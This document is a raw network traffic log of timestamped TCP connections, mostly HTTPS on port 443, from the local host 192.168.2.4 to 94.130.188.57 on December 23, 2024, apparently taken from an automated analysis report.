Dec 23, 2024 06:21:50.595202923 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:50.595213890 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:51.625334978 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:51.625385046 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:51.625473022 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:51.625709057 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:51.625724077 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.023830891 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.023914099 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.024405003 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.024415016 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.026087046 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.026092052 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.026139021 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.026151896 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.026245117 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.026261091 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.026470900 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.026582956 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.026736021 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.026761055 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.026906013 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.026923895 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:52.026947021 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:52.026969910 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.029479027 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.029686928 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.030071020 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.030088902 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.031649113 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.031667948 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.031716108 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.031732082 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.031744003 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.031754971 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.031800032 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.031827927 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.031851053 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.031862020 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.031935930 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.031955957 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.857661963 CET	49734	80	192.168.2.4	192.229.221.95
Dec 23, 2024 06:21:53.857691050 CET	49738	80	192.168.2.4	18.66.161.122
Dec 23, 2024 06:21:53.857736111 CET	49723	80	192.168.2.4	23.32.238.179
Dec 23, 2024 06:21:53.857801914 CET	49724	80	192.168.2.4	23.32.238.179
Dec 23, 2024 06:21:53.861690998 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.861896992 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.861984968 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.867805958 CET	49772	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:53.867835045 CET	443	49772	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:53.977530956 CET	80	49738	18.66.161.122	192.168.2.4
Dec 23, 2024 06:21:53.977608919 CET	49738	80	192.168.2.4	18.66.161.122
Dec 23, 2024 06:21:53.978151083 CET	80	49734	192.229.221.95	192.168.2.4
Dec 23, 2024 06:21:53.978214979 CET	49734	80	192.168.2.4	192.229.221.95
Dec 23, 2024 06:21:53.978220940 CET	80	49723	23.32.238.179	192.168.2.4
Dec 23, 2024 06:21:53.978255033 CET	80	49724	23.32.238.179	192.168.2.4
Dec 23, 2024 06:21:53.978281975 CET	49723	80	192.168.2.4	23.32.238.179
Dec 23, 2024 06:21:53.978311062 CET	49724	80	192.168.2.4	23.32.238.179
Dec 23, 2024 06:21:54.551673889 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:54.551753998 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:54.551780939 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:54.551800013 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:54.551827908 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:54.551857948 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:54.553767920 CET	49773	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:54.553781986 CET	443	49773	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:54.718152046 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:54.718187094 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:54.718370914 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:54.718895912 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:54.718910933 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:55.740386009 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:55.740456104 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:55.740521908 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:55.740819931 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:55.740837097 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.122838020 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.122920036 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.123347998 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.123356104 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.124897957 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.124903917 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.124970913 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.124979019 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.125030041 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125037909 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.125082016 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125099897 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.125138998 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125149965 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.125212908 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125226021 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.125267029 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125313044 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125341892 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125374079 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.125499010 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125520945 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:56.125536919 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:56.125559092 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.146050930 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.148794889 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.149151087 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.149175882 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.150513887 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.150526047 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.150578022 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.150599003 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.154381990 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.154412985 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.154860020 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.154896975 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.160537958 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.160566092 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.160634041 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.160649061 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.160751104 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.160773039 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.160803080 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.160818100 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.160850048 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.160866022 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.160918951 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.160936117 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.161019087 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.161045074 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.161083937 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.161118031 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.161154985 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.161173105 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.161206961 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.161221981 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.161299944 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.161334991 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.161360025 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.161371946 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.943996906 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.944068909 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.944087982 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.944137096 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.944188118 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:57.944242954 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.944911957 CET	49775	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:57.944922924 CET	443	49775	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:58.767847061 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:58.767910004 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:58.767991066 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:58.768249989 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:58.768273115 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:59.304259062 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:59.304332972 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:59.304358959 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:59.304394007 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:59.304405928 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:59.304441929 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:59.309998035 CET	49776	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:59.310024023 CET	443	49776	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.004916906 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.005027056 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.005146980 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.005337000 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.005361080 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.168356895 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.168546915 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.168806076 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.168821096 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.170376062 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.170389891 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.170470953 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.170497894 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.170600891 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.170641899 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.170835972 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.170948029 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.171098948 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.171133995 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.171166897 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.171183109 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:00.171209097 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:00.171220064 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.404098034 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.404195070 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.404741049 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.404772043 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.407094955 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.407108068 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.407222033 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.407254934 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420027971 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420069933 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420212030 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420238018 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420367002 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420394897 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420422077 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420437098 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420486927 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420511961 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420578957 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420593977 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420610905 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420634031 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420670986 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420686007 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420694113 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420715094 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420737982 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420759916 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420797110 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420810938 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420844078 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420874119 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420898914 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420912981 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.420957088 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.420991898 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421022892 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421045065 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421067953 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421081066 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421097994 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421109915 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421156883 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421174049 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421192884 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421211004 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421246052 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421261072 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421307087 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421322107 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421359062 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421376944 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421407938 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421427011 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421477079 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421494961 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421576023 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421595097 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421626091 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421638966 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421658039 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421669960 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421701908 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421716928 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421757936 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421772957 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421873093 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421889067 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421921015 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421936035 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.421967030 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.421993017 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.422030926 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422030926 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422075033 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422115088 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422138929 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422187090 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422213078 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422257900 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422295094 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.422354937 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.467349052 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.467757940 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.467801094 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.467823982 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.467863083 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.467895985 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.467911005 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.467935085 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.467963934 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.468014002 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.468046904 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515327930 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.515547037 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515733957 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515774012 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515805006 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515832901 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515861034 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515885115 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515908957 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515930891 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.515959024 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.563363075 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.567039013 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567055941 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567089081 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567123890 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567229986 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567271948 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567301035 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567342043 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567399025 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.567425966 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.611356974 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.611555099 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.611628056 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.611675024 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.611700058 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.611747980 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.611761093 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.611779928 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.659341097 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.660635948 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.660784006 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.660973072 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.661041021 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.661098957 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.703355074 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.781348944 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.781517029 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.781558990 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.781938076 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.781980038 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.823381901 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.871200085 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.871445894 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.871460915 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.871573925 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.872431040 CET	49778	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.872477055 CET	443	49778	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.872987032 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.873075008 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.873172998 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.873471975 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.873507977 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.899424076 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.899590969 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.899631977 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.899724960 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.899727106 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.899775028 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.899777889 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.899821997 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.899876118 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.900059938 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.900132895 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:01.900690079 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:01.900782108 CET	443	49779	94.130.188.57	192.168.2.4
